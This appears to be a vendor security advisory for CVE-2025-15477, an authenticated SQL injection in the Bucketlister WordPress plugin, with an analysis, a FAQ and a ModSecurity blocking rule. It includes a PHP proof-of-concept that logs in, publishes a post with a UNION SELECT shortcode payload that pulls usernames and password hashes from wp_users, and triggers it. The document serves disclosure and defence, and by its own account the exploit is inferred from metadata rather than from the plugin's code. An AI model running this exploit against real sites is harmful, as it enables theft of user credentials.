“`json
{
“analysis”: “Atomic Edge analysis of CVE-2025-15477 (metadata-based):nThis vulnerability is an authenticated SQL injection in The Bucketlister WordPress plugin versions up to 0.1.5. Attackers with Contributor-level access or higher can inject malicious SQL commands via the `category` and `id` attributes in the plugin’s shortcode. The CVSS score of 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) indicates a high confidentiality impact with low attack complexity.nnAtomic Edge research infers the root cause is improper neutralization of special elements in SQL commands (CWE-89). The vulnerability description states insufficient escaping and lack of sufficient query preparation. Without source code, we conclude the plugin likely constructs SQL queries by directly concatenating user-supplied shortcode attribute values into the query string. The plugin presumably uses WordPress’s `$wpdb` methods without proper parameterized queries or escaping functions like `esc_sql()`.nnExploitation requires Contributor-level authentication. Attackers embed malicious shortcodes in posts or pages they can create. The shortcode format likely resembles `[bucketlister category=”‘ UNION SELECT user_login,user_pass FROM wp_users–“]` or similar. The injection occurs when the plugin processes these shortcode attributes during page rendering. Attackers can extract sensitive database information, including user credentials and plugin data.nnRemediation requires implementing proper input validation and parameterized queries. The plugin should use WordPress’s `$wpdb->prepare()` method for all SQL queries incorporating user input. Shortcode attribute values should be validated against expected data types (integers for `id`, alphanumeric strings for `category`). The plugin could also implement strict capability checks, though Contributor access is intentionally granted for content creation.nnSuccessful exploitation allows data exfiltration from the WordPress database. Attackers can extract hashed passwords from the `wp_users` table, potentially enabling credential stuffing attacks. They can access any plugin-specific sensitive data stored in custom tables. The vulnerability does not directly enable privilege escalation or remote code execution, but compromised administrator credentials could lead to full site compromise.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2025-15477 – The Bucketlister <= 0.1.5 – Authenticated (Contributor+) SQL Injection via `category` and `id` Shortcode Attributesn $target_url . ‘/wp-login.php’,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n ]),n CURLOPT_RETURNTRANSFER => true,n CURLOPT_COOKIEJAR => ‘cookies.txt’,n CURLOPT_COOKIEFILE => ‘cookies.txt’,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_HEADER => truen]);n$response = curl_exec($ch);nn// Step 2: Extract nonce for post creation (pattern varies by WordPress version)ncurl_setopt_array($ch, [n CURLOPT_URL => $target_url . ‘/wp-admin/post-new.php’,n CURLOPT_POST => false,n CURLOPT_HTTPGET => truen]);n$response = curl_exec($ch);npreg_match(‘/”_wpnonce” value=”([a-f0-9]+)”/’, $response, $matches);n$nonce = $matches[1] ?? ”;nn// Step 3: Create post with malicious shortcoden// SQL injection payload extracts first 5 usernames and password hashesn$malicious_shortcode = ‘[bucketlister category=”‘ UNION SELECT user_login,user_pass FROM wp_users LIMIT 5–“]’;nncurl_setopt_array($ch, [n CURLOPT_URL => $target_url . ‘/wp-admin/post.php’,n CURLOPT_POST => true,n CURLOPT_POSTFIELDS => http_build_query([n ‘post_title’ => ‘Test Post with Malicious Shortcode’,n ‘content’ => ‘This post contains SQL injection: ‘ . $malicious_shortcode,n ‘post_status’ => ‘publish’,n ‘_wpnonce’ => $nonce,n ‘_wp_http_referer’ => $target_url . ‘/wp-admin/post-new.php’,n ‘post_type’ => ‘post’,n ‘action’ => ‘editpost’n ])n]);n$response = curl_exec($ch);nn// Step 4: Visit the published post to trigger the injectionn// The actual SQL execution happens during page rendern// Results would appear in page output or cause visible errorsncurl_setopt_array($ch, [n CURLOPT_URL => $target_url . ‘/?p=’ . urlencode(extract_post_id($response)),n CURLOPT_POST => false,n CURLOPT_HTTPGET => truen]);n$final_response = curl_exec($ch);ncurl_close($ch);nnecho “Check page source for SQL injection results or errors.\n”;necho “Payload used: ” . htmlspecialchars($malicious_shortcode) . “\n”;nn// Helper function to extract new post ID from responsenfunction extract_post_id($html) {n preg_match(‘/post=([0-9]+)/’, $html, $matches);n return $matches[1] ?? ‘unknown’;n}n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-15477 (metadata-based)n# This rule blocks SQL injection attempts via The Bucketlister plugin shortcode attributes.n# The rule targets POST requests containing malicious SQL patterns in ‘category’ or ‘id’ parameters.n# Since the exact endpoint isn’t specified, we target all POST requests that could process shortcodes.n# This is a defensive rule that may have some false positives but blocks the attack vector.nnSecRule REQUEST_METHOD “@streq POST” \n “id:202515477,phase:2,deny,status:403,chain,msg:’CVE-2025-15477: SQL Injection via The Bucketlister plugin shortcode attributes’,severity:’CRITICAL’,tag:’CVE-2025-15477′,tag:’WordPress’,tag:’Plugin/The-Bucketlister’,tag:’attack.sql-injection'”n SecRule REQUEST_BODY “@rx \\[bucketlister[^\\]]*(category|id)\\s*=\\s*[‘\”]” \n “chain,t:none,t:urlDecodeUni,t:htmlEntityDecode”n SecRule REQUEST_BODY “@rx (?i:(union[\\s(]+select|select[\\s(]+.*from|insert[\\s(]+into|update[\\s(]+.*set|delete[\\s(]+from|sleep\\(|benchmark\\(|pg_sleep\\(|waitfor[\\s]+delay|exec\\(|sp_executesql))” \n “t:none,t:urlDecodeUni,t:htmlEntityDecode””
}
“`
CVE-2025-15477: The Bucketlister <= 0.1.5 – Authenticated (Contributor+) SQL Injection via `category` and `id` Shortcode Attributes (the-bucketlister)
CVE-2025-15477
the-bucketlister
0.1.5
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
Frequently Asked Questions
What is CVE-2025-15477?
Overview of the vulnerabilityCVE-2025-15477 is a medium severity SQL injection vulnerability found in the Bucketlister plugin for WordPress, affecting versions up to and including 0.1.5. It allows authenticated users with Contributor-level access or higher to inject malicious SQL commands through the shortcode attributes `category` and `id`.
How does the SQL injection work?
Mechanism of exploitationThe vulnerability arises from insufficient escaping of user-supplied parameters in SQL queries. Attackers can exploit this by crafting shortcodes that include SQL commands, allowing them to manipulate the database and extract sensitive information.
Who is affected by this vulnerability?
Identifying impacted usersAny WordPress site using the Bucketlister plugin version 0.1.5 or earlier is at risk. Specifically, users with Contributor-level access or higher can exploit this vulnerability, making it crucial for site administrators to assess user roles.
How can I check if my site is vulnerable?
Verifying plugin versionTo determine if your site is vulnerable, check the version of the Bucketlister plugin installed. If it is version 0.1.5 or earlier, your site is at risk of this SQL injection vulnerability.
What steps should I take to mitigate this vulnerability?
Recommended actionsTo mitigate this vulnerability, update the Bucketlister plugin to the latest version that addresses the issue. Additionally, implement input validation and use parameterized queries to prevent SQL injection.
What does the CVSS score of 6.5 indicate?
Understanding the risk levelA CVSS score of 6.5 indicates a medium severity vulnerability with a significant potential impact on confidentiality. This means that while exploitation is possible, it requires authenticated access, which limits the risk to certain user roles.
What kind of data can be extracted through this vulnerability?
Potential data exposureExploitation of this vulnerability could allow attackers to extract sensitive data from the WordPress database, including user credentials and other plugin-specific information. This could lead to further attacks, such as credential stuffing.
How does the proof of concept demonstrate the vulnerability?
Technical details of the PoCThe proof of concept outlines a series of steps where an attacker logs in, creates a post with a malicious shortcode, and triggers the SQL injection during page rendering. This showcases how the vulnerability can be exploited in a real-world scenario.
What are the implications of successful exploitation?
Consequences of an attackSuccessful exploitation allows attackers to access sensitive information from the database. While it does not enable privilege escalation or remote code execution directly, it could lead to compromised administrator credentials and full site access.
What coding practices could prevent similar vulnerabilities?
Best practices for developersTo prevent similar SQL injection vulnerabilities, developers should always use parameterized queries and proper escaping functions when handling user input in SQL commands. Additionally, implementing strict input validation can help mitigate risks.
Is there a ModSecurity rule to protect against this vulnerability?
Firewall protection measuresYes, a ModSecurity rule has been created to block SQL injection attempts targeting the Bucketlister plugin. This rule checks for malicious patterns in POST requests and can help prevent exploitation of the vulnerability.
What should I do if I cannot update the plugin immediately?
Interim measuresIf immediate updates are not possible, consider disabling the Bucketlister plugin until a secure version is available. Additionally, review user roles and limit access to only those who require it to minimize risk.
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